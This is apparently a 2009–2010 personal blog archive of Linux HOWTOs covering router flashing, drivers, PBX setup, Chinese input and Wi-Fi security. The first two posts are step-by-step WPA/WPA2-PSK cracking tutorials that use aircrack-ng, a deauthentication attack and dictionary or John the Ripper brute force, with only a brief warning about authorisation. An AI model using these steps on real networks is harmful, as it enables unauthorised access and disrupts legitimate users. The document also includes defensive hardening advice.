Friday, April 16, 2010

HOWTO : Crack WPA/WPA2-PSK with dictionary

At the moment, we need to use dictionaries to brute force the WPA/WPA-PSK. To crack WPA/WPA2-PSK requires the to be cracked key is in your dictionaries.

The following tutorial is based on Back|Track 4.

Suppose the wifi channel is 5, the BSSID MAC is 00:24:B2:A0:51:14 and the client MAC is 00:14:17:94:90:0D. Make sure the client is connecting to the wifi router when you are performing Step 1 to 4.

Step 1 :
apt-get install wpa-wordlist

Step 2 :
airmon-ng start wlan0

Step 3 :
airodump-ng mon0

Step 4 :
airodump-ng --channel 5 --write output --bssid 00:24:B2:A0:51:14 mon0

Step 5:
aireplay-ng --deauth 10 -a 00:24:B2:A0:51:14 -c 00:14:17:94:90:0D mon0

To get the handshake when done and then go to next step. If not, do it again until you get the handshake.

Step 6 :
aircrack-ng output-01.cap -w /pentest/password/wordlist/wpa.txt

Good luck!

WARNING : Do NOT crack any wifi router without authorization or you may be put into jail.

That's all. See you!

HOWTO : Crack WPA/WPA2-PSK with John the Ripper

At the moment, we need to use dictionaries to brute force the WPA/WPA-PSK. To crack WPA/WPA2-PSK requires the to be cracked key is in your dictionaries.

I have a better solution to crack WPA/WPA2-PSK (in theory, it must success) but it requires hours to years to crack depending on the strength of the key and the speed of the hardwares. The following tutorial is based on Back|Track 4.

Suppose the wifi channel is 5, the BSSID MAC is 00:24:B2:A0:51:14 and the client MAC is 00:14:17:94:90:0D. Make sure the client is connecting to the wifi router when you are performing Step 1 to 4.

Step 1 :
airmon-ng start wlan0

Step 2 :
airodump-ng mon0

Step 3 :
airodump-ng --channel 5 --write output --bssid 00:24:B2:A0:51:14 mon0

Step 4 :
aireplay-ng --deauth 10 -a 00:24:B2:A0:51:14 -c 00:14:17:94:90:0D mon0

To get the handshake when done and then go to next step. If not, do it again until you get the handshake.

Step 5 :
/pentest/password/jtr/john --stdout --incremental:all | aircrack-ng -b 00:24:B2:A0:51:14 -w - output*.cap

You are required to wait for hours or years for the cracking which is depends on how powerful your hardwares are and strength of the key. CUDA will make the work more easier but it may also need years or so just depends.

WARNING : Do NOT crack any wifi router without authorization or you will be put into jail.

That's all. See you!

Tuesday, April 06, 2010

Wifi is not 100% safe

There are several protections for wifi, they are WEP, WPA and WP2. WEP can be cracked easily. WPA and WP2 are also not safe recently no matter you are using AES or TKIP encryptions for your PSK. However, at least one client is connecting to the wifi router and your WPA/WPA2 key is in the dictionary (password list) of the cracker so as the cracker can crack WPA/WPA2-PSK.

Recommendation

(1) at least use WPA2-Personal with AES encryption for the key (most likely for home users) or use Captive Portal if any;
(2) keep your WPA/WPA2 key as long (the longest is 63 characters) and complicated as possible, it should includes capital and small letters, symbols and numbers (however, some devices may not recognize such length of the key);
(3) enable MAC address filter (if possible; but not quiet useful for higher security);
(4) do not use factory's WPS feature (or similar, e.g. QSS) as it is quiet danger for users but convenience for crackers;
(5) change your WPA/WPA2 key often; and
(6) use WPA2-Enterprise if possible (it is the highest security so far).

Be keep in mind that this settings may not be worked tomorrow. The world is changing very fast.

By the way, hidden BSSID and MAC address filter are useless as crackers can obtain such information very easy.

That's all! See you.

Wednesday, March 31, 2010

HOWTO : DD-WRT on TP-Link TL-WR1043ND

TP-Link TL-WR1043ND comes with 1 Gigabit WAN and 4 Gigabit LAN as well as 1 USB port. The USB port is for storage purpose. It is a 300Mbps N Wireless router.

This router can flash to DD-WRT to enhance its features. One interested thing is that it can support 3.5G USB modem after flashing to DD-WRT. As far as I know, it supports Hauwei 3.5G modem only. After flashed to DD-WRT, your router can act as a VPN server. It also supports WDS.

Step 1 :

Download the DD-WRT for this router. Beware, other version of DD-WRT does not work on this router; otherwise, your router will be bricked.

The current version of DD-WRT at the time of this writing for this router is V24 preSPs2 r14144.

If you are the first time to flash the router (not upgrading), download the file "factory-to-ddwrt.bin". If you are upgrading the DD-WRT of this router, download the file "tl-wr1043nd-webflash.bin" instead. IF YOU WANT TO UPGRADE TO NEWER VERSION OF DD-WRT, THIS TUTORIAL IS USELESS!

Step 2 :

Connect the router and computer via the LAN port. Point your browser to http://192.168.1.1. Enter "admin" for username and password.

Step 3 :

Flash the DD-WRT firmware from the official webpage as usual. DO NOT UNPLUG THE CABLE AND SWITCH OFF THE COMPUTER AS WELL AS ROUTER WHEN FLASHING THE FIRMWARE.

Step 4 :

After the router is rebooted, telnet to the router :

telnet 192.168.1.1

Username is "root" and password is "admin".

Issue the command :

mtd -r erase nvram
reboot

After the router is rebooted, unplug the power cable of the router and wait for a while. Then plug in the power cable again. Now, your router is ready to use and it is DD-WRTed.

Step 5 :

Use your browser to point to http://192.168.1.1. Then change the username and password. Be careful, do not mis-type the username. However, you can change the username and password later.

Step 6 (Optional) :

Flash back to factory firmware.

Download the modified factory firmware at here. Extract and save it to a USB stick. Insert the USB stick to the USB port of the router.

Telnet to the router. Make sure the USB stick is connected and mounted.

mtd -e linux -r write /mnt/<firmwarefilename.bin> linux

The screen will display :

root@ router_name:/tmp# mtd -e linux -r write /mnt/0x20200.bin linux
Unlocking linux ...
Erasing linux ...
Writing from /mnt/0x20200.bin to linux ... [w], which the [w] will change between [w] and [e]


After a few minutes, the following is shown :

Connection to host lost.

After these steps, the router will be flashed back to factory firmware.

** Beware, I did not try this Step 6 myself. Or, your router will be bricked. **

**IMPORTANT**

Make sure the SSH and Telnet are disabled on the flashed dd-wrt router; otherwise, you will be hacked.

That's all! See you.

Saturday, February 27, 2010

HOWTO : Real 3D desktop on Ubuntu 9.10

Compiz fusion plugin - Anaglyph can make your screen to be a real 3D display.

Step 1 :
sudo apt-get update
sudo apt-get upgrade
sudo apt-get install compiz-fusion-bcop compiz-dev build-essential libtool libglu1-mesa-dev libxss-dev git-core compizconfig-settings-manager


Step 2 :
git clone git://anongit.compiz-fusion.org/users/wodor/anaglyph

cd anaglyph
make
sudo make install


Step 3 :
Go to "System" - "Preference" - "CompizConfig Settings Manager" - "Effect" - "Anaglyph"

Set desire keystokes and/or mouse clicks to enable the effect.

Step 4 :
Make your spectacles yourself. Right is Blue and Left is Red.

That's all! See you.

Saturday, February 20, 2010

HOWTO : Changing Time Zone on Ubuntu 9.10

In case you need to change your current time zone, you can do it this way.

sudo dpkg-reconfigure tzdata

That's all! See you.

HOWTO : Make SCIM as default Input Method on Ubuntu 9.10

The Input Method is default to iBus on Ubuntu 9.10. However, iBus does not provide my Chinese Input Method but SCIM has. Therefore, I need to make SCIM as default instead of iBus.

sudo im-switch -s scim

sudo update-alternatives --config xinput-zh_TW

Then, choose scim by the number and a "*" will changed to SCIM from iBus.

That's all! See you.

HOWTO : Fixing mouse click not recognized on Flash under Ubuntu 9.10

You may encounter the mouse click cannot be recongnized on Flash 10.0 r45 under Ubuntu 9.10 AMD64. This tutorial shows you how to fix it.

sudo nano /usr/lib/nspluginwrapper/i386/linux/npviewer

Add the following line right before the LAST line of the file.

export GDK_NATIVE_WINDOWS=1

The final look would be :

#!/bin/sh
TARGET_OS=linux
TARGET_ARCH=i386
export GDK_NATIVE_WINDOWS=1
. /usr/lib/nspluginwrapper/noarch/npviewer


That's all! See you.

Thursday, February 18, 2010

HOWTO : Untangle 7.1 on Intel Desktop Board D510MO

*** UPDATED ON NOVEMBER 20, 2010 : This tutorial is also work for Untangle 8.0 on Intel Desktop Board D510MO. The Realtek wireless card driver is updated to r8168-8.020.00. ***

Intel Desktop Board D510MO equipped with Intel Atom D510 processor and Realtek 8168B PCI-e onboard LAN. It is launched in the first quarter of 2010. The board will be available on Jan 4, 2010 in Hong Kong.

** This tutorial is prepared by me on Jan 2, 2010. Now, I share it here as there are some users do not know how to install Untangle 7.1 on this good motherboard. **

The kernel of Untangle 7.1 does not work on the captioned LAN card on the motherboard. We need to do something to make it work. However, Ubuntu 9.10 do recognized the onboard LAN card.

Step 1 :

Insert another new PCI LAN card to the motherboard. I recommended not to use Realtek chipset LAN card. I use D-Link Gigabit PCI Ethernet Card (DGE-530T) which is equipped with Marvell chipset and it is a low profile design.

The onboard Realtek LAN will be eth1 while the new inserted LAN card will be eth0.

Plug the CAT5e or CAT6 cable to the eth0 which then connect to the internet and the cable that connected to eth1 will be plugged into the gigabit switch.

Step 2 :

Install Untangle as usual. In the first stage of installation, the Untangle will recognize two network interfaces. However, the system reboot automatically and go to stage 2. Make sure to select "Video Safe Mode" to boot to the next stage of installation. Otherwise, you may encounter the display problem - no screen at all. You can press "CTRL+ALT+Plus" one or two times or may be three times to make the display work. However, the resolution is not correct at all.

Then, the Untanlge only see one network interface which is the eth0 - the PCI LAN card. Go ahead to install.

Step 3 :

After the installation, you will go to the web interface. Exit it and go to the "Terminal" at the dock. Type your desired password (you set it this time) twice. Then, you will ask for password again. Key in and a terminal will be displayed.

nano /etc/apt/sources.list

Copy and paste the following lines to the source.list file.

deb http://ftp.debian.org/debian/ lenny main contrib non-free
deb-src http://ftp.debian.org/debian/ lenny main contrib non-free


Save it.

Step 4 :

apt-get update
apt-get install gcc make
apt-get install linux-headers-`uname -r`


ln -s /usr/src/linux-headers-`uname -r` /usr/src/linux

Step 5 :

The current version of Realtek 8168B driver at the time of writing is 8.015.00 which is released on November 27, 2009.

Download the Realtek 8168B driver from the Realtek official site at Realtek Official Site.

Or, download as the following :

wget http://samiux.volospin.com/r8168-8.015.00.tar.bz2

tar -xvjf r8168-8.015.00.tar.bz2
cd r8168-8.015.00


rmmod r8169

sh autorun.sh

lsmod | grep r8168

If it is not exist, do the following :

depmod -a
modprobe r8168


Step 6 :

echo "\nblacklist r8169\n" >> /etc/modprobe.d/blacklist

mv /lib/modules/`uname -r`/kernel/drivers/net/r8169.ko /lib/modules/`uname -r`/kernel/drivers/net/r8169.ko.bak

* The above is two lines of command.

Step 7 :

mv /boot/initrd.img-`uname -r` /boot/initrd.img-`uname -r`.bak

mkinitramfs -o /boot/initrd.img-`uname -r` `uname -r`

* The above is two lines of command.

Step 8 :

Uncomment the two entries that added to the file /etc/apt/sources.list previously with "#". Make sure you do this step; otherwise it will affect the Untangle when there is an update.

Reboot Untangle and then configure the box accordingly.

Reference

Intel D510MO motherboard
Untangle Official Site

Known issue

When the kernel of Untangle is updated, you need to recompile and reinstall the Realtek driver.

That's all! See you.

Tuesday, February 16, 2010

HOWTO : MyGica D689 USB HDTV dongle and VideoLan on Ubuntu 9.10

We can watch digital TV including HDTV on Ubuntu 9.10 with MyGica D689 USB HDTV dongle. You may also require to buy a new nVidia series 9000 or up display card. Since series 9000, nVidia display card supports hardware acceleration for playing HD video.

In order to keep my Ubuntu box easy for update and secure, I prefer to install software packages from official and PPA repositories. However, I need to compile the MyGica driver in order to make it works. I selected VideoLan for the playback.

Hardware and software used in this tutorial :

CPU - AMD Athlon 64 x 2 4200+
RAM - 8GB DDR2 800
Hard Drive - 320GB x 2 on Hardware RAID 0
HDTV - MyGica D689 HDTV USB dougle (v3.0)
Display card - XFX nVidia GT240 with 1GB DDR3 RAM and HDMI
Operating system - Ubuntu 9.10 Desktop AMD64 with Kernel 2.6.31-19-generic

The following procedures are for installing PPA nVidia display driver.

Step 1 - Add essential repositories :

(A) Add medibuntu repository (for general multimedia codecs and plugins)

sudo wget http://www.medibuntu.org/sources.list.d/karmic.list --output-document=/etc/apt/sources.list.d/medibuntu.list &&
sudo apt-get -q update &&
sudo apt-get --yes -q --allow-unauthenticated install medibuntu-keyring &&
sudo apt-get -q update


** Note : If you are using Ubuntu Samiux Remix, you are not required to add this repository as it is already added.

(B) Add nvidia-vdpau repository (for related VDPAU libraries)

echo "deb http://ppa.launchpad.net/nvidia-vdpau/ppa/ubuntu karmic main" | sudo tee -a /etc/apt/sources.list.d/nvidia-vdpau.list
echo "deb-src http://ppa.launchpad.net/nvidia-vdpau/ppa/ubuntu karmic main" | sudo tee -a /etc/apt/sources.list.d/nvidia-vdpau.list


Add key of nvidia-vdpau repository to the keyrings.

sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys CEC06767

sudo apt-get update
sudo apt-get upgrade


** Remarks : Or, you can use this command
sudo sh -c 'echo "Test I want to write" > /path/to/file'

Step 2 - Install all related softwares, codecs and plugins :

sudo apt-get install x264 vlc mencoder qt4-qtconfig

sudo apt-get install ubuntu-restricted-extras quicktime-utils quicktime-x11utils libdvdnav4 libdvdread4 libdvdcss2 non-free-codecs faad

Then, reboot your system.

Step 3 - Install nVidia display driver

Select "System" - "Administration" - "Hardware driver" from the menu on the desktop.
Choose nVidia display driver 195 version as prompted. After the install, you are required to reboot your system.

Reboot your system.

Step 4 - Confirmation of VDPAU drivers are installed

Make sure "vdpau" is installed and activated.

ffmpeg -formats | grep vdpau

If you can see some vdpau displayed, vdpau works.

Step 5 - Install MyGica D689 driver :

sudo apt-get install mercurial

At you desired directory, such as /home/samiux.

mkdir mygica
cd mygica
hg clone http://bitbucket.org/davidtlwong/mygica_x8558pro
cd mygica_x8558pro


make
sudo make install


** Note : If you see an error of compiling FireDTV, you should do the following.

nano v4l/.config

Locate "CONFIG_DVB_FIREDTV=m" and change to "CONFIG_DVB_FIREDTV=n"

Save it and run "make" again.

make
sudo make install


Step 5a - Alternative way to install MyGica driver (Optional) :

** Note : Choose Step 5 or 5a only but not both of them.

Or, you can install this version. I prefer this version.

MyGica driver version used (Tip's version) :
Download Tip's version

wget http://bitbucket.org/davidtlwong/mygica_x8558pro/get/tip.tar.gz

tar -xvzf tip.tar.gz
cd mygica_x8558pro

make
sudo make install


** Note : If you see an error of compiling FireDTV, you should do the following.

nano v4l/.config

Locate "CONFIG_DVB_FIREDTV=m" and change to "CONFIG_DVB_FIREDTV=n"

Save it and run "make" again.

make
sudo make install


Tip's version changelog

When the kernel is updated, you should delete the directory of mygica_x8558pro and redo the following :

tar -xvzf tip.tar.gz
cd mygica_x8558pro

make
sudo make install


Step 6 - VideoLan Configuration :

The following should be done. Otherwise, your playlist cannot be saved.

"System" - "Preference" - "Qt4 setting" - "Appearance" - "GUI Style" - "Cleanlooks"

Start VideoLan and configure as the following :

"Media" - "Open Capture Device Ctrl C" - "Capture Mode" - "DVB" - "DVB type" - "DVB-T"

The channels will be scanned but it need a lot of time. You just wait it to finish.

After that, you can save the playlist by "Media" - "Save playlist to the file".

You may delete some duplicated channels on the playlist.

Or, you can download an example at here for reference.

You should load the playlist when you watch HDTV or TV every time.

You may need to do some tuning at "Tool" - "Preference" - "Input & Codec" :

Do some setting on "Cache" or/and "Skip the loop filter for H.264 decoding" when necessary.

Step 7 - Test your MyGica D689 (Optional) :

Insert your MyGica D689.

lsusb

The output should be :
Bus 001 Device 002: ID 0572:d811 Conexant Systems (Rockwell), Inc.

The following is for testing purpose.

sudo apt-get install dvbsnoop dvbtune

dvbsnoop -s signal

If there is some output but not error, your MyGica D689 works.

Step 8 - Streaming TV on LAN and recording TV programmes (Optional and not tested by me) :

This is work of "ksng".

Download ksng's scripts (dated 2009-NOV-26)
Download ksng's scripts (dated 2009-DEC-05)
Download ksng's scripts (dated 2010-FEB-04)

Known Issue :

When watching Standard HD TV, the workload of Athlon 64x2 4200+ is very low, says 800MHz. However, when watching Full HD TV, the workload of Athlon 64x2 will be running in full. I think modern CPU may solve this problem.

Honor :

Many thanks to David T.L. WONG for the MyGica driver while "ksng" for the streaming scripts. They are active members of HKEPC Linux forum.

That's all. See you!

Thursday, February 04, 2010

HOWTO : Django and MySQL on Ubuntu 9.10

Install MySQL and Django

sudo apt-get update
sudo apt-get install mysql-server mysql-client python-mysqldb python-django


Create a softlink
sudo ln -s /usr/lib/python-django/bin/django-admin.py /usr/local/bin/django-admin.py

Create a database namely djangodb (or any other name)
mysql -u root -p

create database djangodb;
exit


That's all! See you.

Tuesday, February 02, 2010

HOWTO : Yet Another Elastix Without Tears

This dirty guide is for making the Elastix box just work and it is for you to understand how Elastix or IP PBX works. All the dial rules setting are applied to Hong Kong only. Advanced application or configuration of Elastix is not included. If you want to learn more, you can refer to Elastix Without Tears.

Hardware
(1) Personal Computer (Mini-ITX)
- Intel ATOM D510 CPU on Intel desktop board D510MO
- 1 X 320GB Hard drive (or smaller)
- 2 X 2GB DDR2 800 RAM (total 4GB) (normally lesser RAM is okay)
- 1 X Gigabit NIC

(2) Additional Hardware
X100P - FXO card without echo cancellation (Cheap but works great for SOHO or home)
Linksys SPA941 IP Phone or Linksys SPA942 IP Phone (Optional)

*If you do not use telephone landline as dial in and out, the X100P is optional.

Software
Elastix 1.6-12 (Asterisk distribution based on CentOS 5.3 Final)
Ekiga 3.2.6 (Ubuntu 9.10 or Windows) (Softphone)

Installation of Hardware
X100P may not be recognized by Elastix due to IRQ problem on some motherboard which includes D510MO. We can overcome this problem with a very crazy step, that is, plug the X100P to the PCI slot of the motherboard with the power cable already plugged in. Use this step when necessary.

The FXO port at the X100P is connected to PSTN (analog telephone line to wall socket). The Bypass port is for connecting to the telephone set.

Installation of Elastix 1.6-12
Install the Elastix is just following the steps on screen. Make sure you write down the root password that you type in during the installation. Login the box and you will prompt the IP address, e.g. 192.168.0.100.

After the installation, you can access the web page of Elastix by entering the IP address (192.168.0.100) to the browser. The username is "admin" while the password is "palosanto". You can change the admin password later. For username and password of other components or modules, please refer to "Elastix Without Tear".

Configuration of Elastix
Log in to the web page of Elastix. Make sure the X100P card is recognized by checking the "Hardware Detection" tab at "System" tab. If everything working fine, you will see the following inside a green coloured box :

Span #1: WCFXO/0 "Wildcard X100P Board 1" (MASTER)
1 FXO In Use


Otherwise, if you see a red coloured box, you should shutdown the box and re-insert the X100P when the power cable is plugged in. If you see "1 FXO not in use" and the colour is pink, the telephone line is not plugged into the FXO port of X100P.

Step 1 : ZAP Trunk setting
Now, go to "PBX" tab. Select "Trunks" on your left hand side. You will see "Trunk ZAP/g0" on the right hand side. Click it. At the "Outbound Caller ID" fill in your home or office landline telephone number in the following format :

"Home" <23456789>

The "Dial Rules" will be "XX."

Click "Submit Changes" button and click the pink coloured bar on the top that written "Apply Configuration Changes Here" to confirm your changes. Make sure you do this step after making any changes or add any item in the Elastix box.

Step 2 : Extensions setting
Go to the "Extensions" on your left hand side. Create "Generic SIP Device". "Extensions" to be "1001". The "Display Name" is "Samiux" and the "SIP Alias" is "samiux". "secret" is "1001" or any number. "nat" is "yes".

At the "Voicemail & Directory", enabled the "Status". "Voicemail Password" is "1001". Enter your email address. Select yes on "Email Attachment", "Play CID" and "Play Envelope". Then click "Submit".

Click "Edit Follow Me Settings" on the top. "Follow-Me List:" is set to "1001". The "Destination if no answer" is set to "Voicemail: <1001> Samiux (unavail)".

Step 3 : Ring Groups setting
Go to the "Ring Groups" on your left hand side. Create a ring group "600" and give it a name to be "General". "Ring Time (max 60 sec)" fill in "60". "Extension List" is "1001". Make sure the "Ring Strategy" is "ringall". The "Destination if no answer" is set to "Voicemail: <1001> Samiux (unavail)".

Step 4 : Inbound Routes setting
Go to the "Inbound Routes" on your left hand side. Create an empty "Incoming Route". Select "Ring Groups: General <600>" at "Set Destination".

Step 5 : Outbound Routes setting
Go to the "Outbound Routes" on your left hand side. Select "0 9_outside" on your right hand side.

At the "Dial Patterns", type "9|XX." and "Trunk Sequence" should select "ZAP/g0". Then click "Submit Changes".

How it works
When someone dail to your landline 23456789, your softphone and analog phone will ring. If you do not answer after 60 seconds, the Elastx will go to Samiux's voicemail box. Make sure your softphone is running. Otherwise, the call will be diverted to the voicemail at once.

If you want to dial out via the landline to "29876543", you just key in "929876543". "9" is to get the outside tone.

If you use Ekiga (softphone) to dail to "Samiux" no matter you are in Hong Kong or other countries as well as in the same network of the Elastix, just install Ekiga and dail "sip:1001@real_ip or 192.168.0.100" or "sip:samiux@real_ip or 192.168.0.100". Make sure you are online. For example, "sip:1001@samiux.com" or "sip:samiux@samiux.com".

Router & firewall configuration
If your Elastix box is behind a router or firewall, you should do port forwarding and open the essential ports.

Port forwarding : 5060
Ports may use : 5004, 7070, 16382, 1720, 3478-9, 10000-20000

Last word
You may need to buy a DID for your Elastix box. DID is a local telephone number which can dial via internet. You can buy one in Hong kong at Hong Kong broadband 2b. It has 2 outgoing channels. Your friends in overseas can dial your DID from softphone and your softphone or IP Phone will ring.

The setting of DID should refer to Elastix Without Tears as this part does not included in this HOWTO.

Reference
Elastix

How to set up video support in Elastix

Elastix Wiki

ENUM registeration

Elastix Without Tears

X100P

Digium

Asterisk

Ekiga

That's all! See you.

Monday, February 01, 2010

HOWTO : Ubuntu 9.10 for OpenVPN

To make your Ubuntu 9.10 box to connect to OpenVPN server is very easy.

sudo apt-get update
sudo apt-get install network-manager-openvpn
sudo /etc/init.d/network-manager restart


Now, you can configure the Network Manager for any OpenVPN server.


That's all. See you!

Monday, December 28, 2009

HOWTO : Google Public DNS

Google Public DNS is a free, global Domain Name System (DNS) resolution service, that you can use as an alternative to your current DNS provider. It is faster and more secure than OpenDNS.

Configure your network settings to use the IP addresses 8.8.8.8 and 8.8.4.4 as your primary and secondary DNS servers respectively.


HOWTO : Screen resolution on Ubuntu 9.10

When your display cannot report the correct EDID (Extended Display Identification Data), your X will not work properly. Usually, it will display 800x600 resolution or lower although your display is 1024x768 or higher.

Step 0 :
sudo service gdm stop
sudo Xorg -configure
sudo service gdm start


Step 1 :
If your monitor is 1024x768 at 60Hz, you can go to the following site and calculate the modeline.

Calculator for video timings

Select standard "1024x768@60Hz" mode and press the Calculate button.

The modeline will be as the followings :

Modeline "1024x768" 65 1024 1048 1184 1344 768 771 777 806 -hsync -vsync

Copy and paste the captioned "modeline" to "Monitor Section" of ~/xorg.conf.new.

Step 2 :
sudo cp xorg.conf.new /etc/X11/xorg.conf

Step 3 :
Go to "System" - "preference" - "Display"

Choose "Yes" and select the desired resolution then save.

Step 4 :
Reboot your system or restart X.

If you are using nVidia display card, you need to do the following.

Step a :
Install the nVidia driver from "System" - "Administration" - "Hardware driver".

Reboot your system.

Step b :
sudo nvidia-xconfig

Step c :
gksudo nvidia-settings

Select the desired resolution and save to the configuration file.

Step d :
Go to "System" - "preference" - "Display"

Choose "No" and select the desired resolution then save.

Step e :
Reboot your system or logout and login again.

That's all. See you!

Saturday, December 19, 2009

HOWTO : HSDPA/HSPA modem on Ubuntu 9.10

When you are the first time using HSDPA/HSPA modem on Ubuntu 9.10, you will not encounter any problem. However, when you use the modem the second time, it hardly to get the DNS. As a result, you cannot surf the internet.

Therefore, you should write the DNS down when you insert the HSDPA/HSPA modem to the Ubuntu 9.10 the first time. Add the DNS to the Network Manager by editing "IPV4 Setting" - "PPP address only".

The following are some service providers in Hong Kong :

3HK -
Primary DNS 202.45.84.67
Secondary DNS 202.45.84.68

CSL, One2Free, 1010 -
Primary DNS 192.168.63.101
Secondary DNS 192.168.63.102

Smartone Vodefone - unknown to me

That's all. See you!

Monday, December 14, 2009

HOWTO : Ubuntu 9.10 on HP Mini 110 Netbook

HP Mini 110 Netbook is using Broadcom 4312 Wifi card (bcm4312). However, Ubuntu 9.10 cannot recognize the hardware. You should do something on it.

The tutorial also suits for bcm4311, 4321 and 4322 hardware.

Install the driver
sudo apt-get remove b43xx-fwcutter
sudo apt-get install bcmwl-kernel-source


Append "wl" to the following file.
sudo nano /etc/modules

wl

Configure the module
sudo nano /etc/modprobe.d/wl

Add the following line.
install wl modprobe -r b43 b44 b43legacy ssb; modprobe --ignore-install wl $CMDLINE_OPTS; modprobe ssb; modprobe b44;

Reboot your system.

That's all. See you!

Sunday, December 13, 2009

HOWTO : Traditional Chinese handwriting on Ubuntu 9.10

Traditional Chinese handwriting is available in Linux now. Tegaki Project provides Traditional and Simpified Chinese as well as Japanese handwriting input for Linux, Mac OS X and Windows. It is developed by Python; thus, it is a cross-platform application.

However, Tegaki supports SCIM only. Therefore, you should install SCIM and change to use SCIM instead of iBus at "System" - "Administration" - "Language support".

Install SCIM
sudo apt-get install scim scim-modules-table scim-chewing scim-pinyin scim-chinese

Install Tegaki
Download and install the following files from the Tegaki official site. The packages in Ubuntu repository cannot be installed.

(a) tegaki-python (install this first)
cd ~
wget http://www.tegaki.org/releases/0.3/tegaki-python-0.3.tar.gz
tar -xzvf tegaki-python-0.3.tar.gz
cd tegaki-python-0.3
sudo python setup.py install


(b) tegaki-pygtk (install this secondly)
cd ~
wget http://www.tegaki.org/releases/0.3/tegaki-pygtk-0.3.tar.gz
tar -xzvf tegaki-pygtk-0.3.tar.gz
cd tegaki-pygtk-0.3
sudo python setup.py install


(c) tegaki-recognize
cd ~
wget http://www.tegaki.org/releases/0.3/tegaki-recognize-0.3.tar.gz
tar -xzvf tegaki-recognize-0.3.tar.gz
cd tegaki-recognize-0.3
sudo python setup.py install


(d) scim-tegaki
cd ~
wget http://www.tegaki.org/releases/0.1/scim-tegaki-0.1.tar.gz
tar -xzvf scim-tegaki-0.1.tar.gz
cd scim-tegaki-0.1
sudo python setup.py install


(e) tegaki-train
cd ~
wget http://www.tegaki.org/releases/0.3/tegaki-train-0.3.tar.gz
tar -xzvf tegaki-train-0.3.tar.gz
cd tegaki-train-0.3
sudo python setup.py install


(f) tegaki-tools
cd ~
wget http://www.tegaki.org/releases/0.3/tegaki-tools-0.3.tar.gz
tar -xzvf tegaki-tools-0.3.tar.gz
cd tegaki-tools-0.3
sudo python setup.py install


(g) Models of Zinnia - Traditional Chinese.
cd ~
wget http://www.tegaki.org/releases/0.3/models/tegaki-zinnia-traditional-chinese-0.3.zip
unzip tegaki-zinnia-traditional-chinese-0.3
cd tegaki-zinnia-traditional-chinese-0.3
make
sudo make install
cd ~


(h) Install Zinnia Recognition Engine.
sudo apt-get update
sudo apt-get upgrade
sudo apt-get install python-zinnia zinnia-utils libzinnia0


Gnome menu entry
Add the Tegaki to the Gnome menu.
sudo nano /usr/share/applications/tegaki.desktop

[Desktop Entry]
Version=1.0
Encoding=UTF-8
Name=Tegaki Handwriting
Exec=tegaki-recognize
Icon=/usr/local/share/tegaki/icons/handwriting.png
Terminal=false
Type=Application
Categories=Application;System;
Comment=Tegaki Handwriting


How to use Tegaki

Step 1 :
Click on "Tools/Configure" icon on the right hand side panel. Set "Search after (msecs)" to 200 or larger. Then click on "Search on stroke" and "Confirm".

Step 2 :
Write the Chinese characters in the boxes provided. To clear the characters click "Sweep". If you want to make correction to the character that you just wrote, click on the character on the top bar.

Step 3 :
After wrote some characters, you can click on "Green tick". Then, go to the word processor or editor. Press "Ctrl+V" or click "Paste".

Reference
Tegaki Project
HOWTO : Ubuntu 9.10 on Gigabyte TouchNote T1028X

Saturday, December 12, 2009

HOWTO : Ubuntu 9.10 on Gigabyte TouchNote T1028X

Hardware configuration

Intel Atom N280 1.6GHz CPU
2GB DDR2 677HMz RAM
250GB 2.5" Hard Drive (Changed to Intel X25-M 80GB SSD)
10.1" Touch screen
PC Express card slot
3 x USB 2.0
All-in-one card reader
Carrying bag

This tablet netbook is in good desgin and quality. It is purchased on 2009-DEC-11 at $4,700-HK with USB mouse and screen protector as gifts. However, the screen protector is a little bit larger than the screen. I also added a Hauwei EM770 3.75G HSDPA modem and changed the hard drive to Intel X25-M 80GB SSD. The total cost is increased to $7,260-HK. Although the price is more or less reached the mid-range notebook level, it is worth to buy. By the way, it is a little bit heavy when holding it with one hand using touch screen feature.

Make sure to update your BIOS to "FC" version as it will activate the Wifi by default. The machine comes with "FB" version of BIOS.

The machine almost works perfectly on Ubuntu 9.10 including HSDPA modem but except touch screen feature. We need to do something to make it work.

Installation of Ubuntu 9.10

Make sure to press F6 on the startup menu and choose "expert mode" and followed by "Esc". Otherwise, your mouse will not work after the boot up.

Append the following line at the end of the command displayed on the screen.

elevator=noop i8042.noloop=1

Install Ubuntu 9.10 as usual. After the first boot up your mouse cannot work. Just follow the steps below to make it work again.

Press Ctrl+Alt+F2. At the command prompt, enter your username and password.

sudo nano /boot/grub/grub.cfg

Locate "linux" tag and append the following at the end of the line.

elevator=noop i8042.noloop=1

Save and reboot your system.

** Note : you need to add the line on every kernel updated.

Configure touch screen

sudo apt-get update
sudo apt-get upgrade
sudo apt-get dist-upgrade


sudo apt-get install xserver-xorg-input-evtouch gnome-randr-applet

sudo nano /etc/hal/fdi/policy/evtouch.fdi

Append the following lines.


<?xml version="1.0" encoding="UTF-8" ?>
<deviceinfo version="0.2">
<device>
<match key="info.product" contains="eGalax Inc. USB TouchController">
<merge key="input.x11_driver" type="string">evtouch</merge>
<merge key="input.x11_options.ReportingMode" type="string">Raw</merge>
<merge key="input.x11_options.Emulate3Buttons" type="string">false</merge>
<merge key="input.x11_options.Emulate3Timeout" type="string">1</merge>
<merge key="input.x11_options.SendCoreEvents" type="string">On</merge>
<merge key="input.x11_options.MinX" type="string">0</merge>
<merge key="input.x11_options.MinY" type="string">2</merge>
<merge key="input.x11_options.MaxX" type="string">4096</merge>
<merge key="input.x11_options.MaxY" type="string">4096</merge>
</match>
</device>
</deviceinfo>


Reboot your system.

After booting up, go to "System" - "Administration" - "Calibrate Screen" and follow the instruction on screen to calibrate the screen.

Screen Rotation

You can rotate your screen on demand by Gnome Randr Applet. However, it cannot rotate your screen automatically.

Make Firefox work better

Install "Grab and Drag" add-on.

"Grab and Drag" add-on demo on Youtube.

That's all. See you!

Sunday, December 06, 2009

HOWTO : Why partitioning does matter on Ubuntu?

Ubuntu is one of the most user-friendly Linux distributions in the world. However, Linux distributions change a lot on every new release. Although we can upgrade to the newer release easily on Ubuntu, I suggest to have a fresh install on every new release.

In my opinion, it is a good practice to format your hard drive at least in four partitions. Such as

/boot (about 1GB)
/ (not less than 8GB)
/home (depends on your hard drive space reminded)
/swap (twice as your amount of RAM)

In this way, you can install and format /boot and / partitions and leave /home untouch on every new or re-install. All your settings at /home are reminded unchange as well as the data in that partition. Be keep in mind that you are NOT required to format /home partition.

You are also required to backup /etc/passwd and /etc/shadow when necessary if you have more than one user.

That's all. See you!